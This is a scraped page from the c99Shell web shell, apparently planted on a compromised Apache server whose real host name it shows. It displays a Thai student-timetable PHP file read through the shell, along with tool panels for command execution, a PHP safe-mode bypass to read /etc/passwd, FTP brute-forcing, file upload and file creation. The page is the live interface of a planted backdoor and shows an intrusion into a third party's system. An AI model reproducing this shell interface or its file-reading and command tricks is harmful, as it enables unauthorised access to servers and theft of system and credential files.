!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.23 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     studySchedule.php (5.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//include_once "template.php";
//showHeader();
require_once("mainfile.php");
$module_name basename(dirname(__FILE__));
//get_lang($module_name);
include("header.php");
$index 1;
OpenTable();
include_once 
"global.php";
include_once 
"./ink/function.php";
include_once 
"./class/clsStudentMaster.php";
include_once 
"./class/clsPrefix.php";

$conn = new Connection();
$oPf = new Prefix();
$oSm = new StudentMaster();

confirmSubmit();
openWindow();
?>
<script language="JavaScript1.2">
function checkFormat(){
    if(document.pc.programName.value==""){
        alert("กรุณาเลือกหลักสูตร !!");
        return false;
    }
    if(document.pc.studentYear.value==""){
        alert("กรุณาเลือกชั้นปีนักศึกษา !!");
        return false;
    }    
}
</script>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<table width="750" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>">ตารางเรียน/สอบนักศึกษา</font></legend>
            <label><div align="center"><br><form name="pc" method="post" action="<?php echo $PHP_SELF;?>">
            <table width="720" border="0" cellspacing="1" cellpadding="1" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>" align="center">
                        <tr><td align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="3"><b>ตารางเรียน/สอบนักศึกษา</b></font></td></tr>
                        <tr><td>&nbsp;</td></tr>
                        <tr><td colspan="2"><table align="center" width="720" cellpadding="1" cellspacing="1" border="0">
<?php
                
if($methodSearch!="search"){
?>
                        <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>">
                            <td align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>" size="2"><b>รหัสนักศึกษา : <input type="text" name="studentCode" size="10" maxlength="10" onKeyPress="if (event.keyCode < 48 || event.keyCode > 57){ alert('ใช้ได้แต่ตัวเลขเท่านั้น !!'); return false;}"> ชื่อ : <input type="text" name="studentName" size="15"> นามสกุล : <input type="text" name="studentSurname" size="20"><input type="submit" name="search" value="ค้นหา">
                            <input type="hidden" name="methodSearch" value="search"></b></font></td>
                        </tr>    
<?php
                
}else{
?>
                        <tr>
                            <td><table width="550" align="center">
                            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>">
                                <td align="center" width="150" height="22"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><b>รหัสนักศึกษา</b></font></td>
                                <td align="center" width="400"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><b>ชื่อ-สกุล</b></font></td>                                
                            </tr>
<?php                
                    $i
=0;
                    
$oSm->SearchByStCodeStNStSn($studentCode,$studentName,$studentSurname);
                    while(
$oSm->GetRecord()){
                        
$oPf->SearchByKey($oSm->prefixId);
                        
$oPf->GetRecord();

                        if((
$i%2) == 0)
                            echo 
"<tr>";
                        else
                            echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TABLE_3"]."\">";
?>
                                <td align="center" height="22"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>" size="2"><?php echo $oSm->studentCode;?></font></td>
                                <td height="22"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>" size="2"><a href="showClassStudy.php?studentCode=<?php echo $oSm->studentCode;?>&studentName=<?php $oSm->studentName;?>&studentSurname=<?php $oSm->studentSurname;?>"><?php echo $oPf->prefixName.$oSm->studentName." ".$oSm->studentSurname;?></a></font></td>                                
                            </tr>
<?php                                                
                        $i
++;
                    }
                    
                    if(
$i==0){
//                    if($studentCode=='' && $oSm->studentId=='' || $oSm->studentName=='' || $oSm->studentSurname==''){
                        //echo "<meta http-equiv='refresh' content='0; URL=$PHP_SELF?methodSearch=no'>";                    
?>
                        <tr>
                            <td align="center" colspan="2"><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2">** กรุณาตรวจสอบข้อมูลนักศึกษา <a href="<?php echo $PHP_SELF;?>?methodSearch=no">คลิกที่นี่</a> **</font></td>
                        </tr>
<?php
                    
}
?>
                        <tr>
                            <td>
                                <input name="cancle" type="button" value="ยกเลิก" onClick="location.href='<?php echo $PHP_SELF;?>' ">
                                <input type="hidden" name="method" value="show">                            
                            </td>
                            <td align="right"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>" size="2">รวม <?php echo $i;?> รายการ</font></td>
                        </tr>
                            </table></td>
                        </tr>                    
                        <tr>
                            <td><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2">&nbsp;</font><br><br></td>
                        </tr>                        
<?php
        
// end if method                
?>                                                
                    </table></td>
                </tr>
            </table></form></div><br></label>
        </fieldset><br>
<?php
        
if($methodSearch!="search"){
?>
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ : </b>ระบุรหัสนักศึกษา หรือ ชื่อ หรือ นามสกุลนักศึกษาเพื่อดูข้อมูลตารางเรียนของนักศึกษา</font>
<?php
        
}else{
?>
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ : </b>นำเมาส์คลิกที่ชื่อ-นามสกุลนักศึกษาเพื่อดูข้อมูลตารางเรียนของนักศึกษา</font>
<?php
        
}
?>
        </td>
    </tr>
</table>
<?php
$oSm
->Destroy();
CloseTable();
include(
"footer.php");
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0175 ]--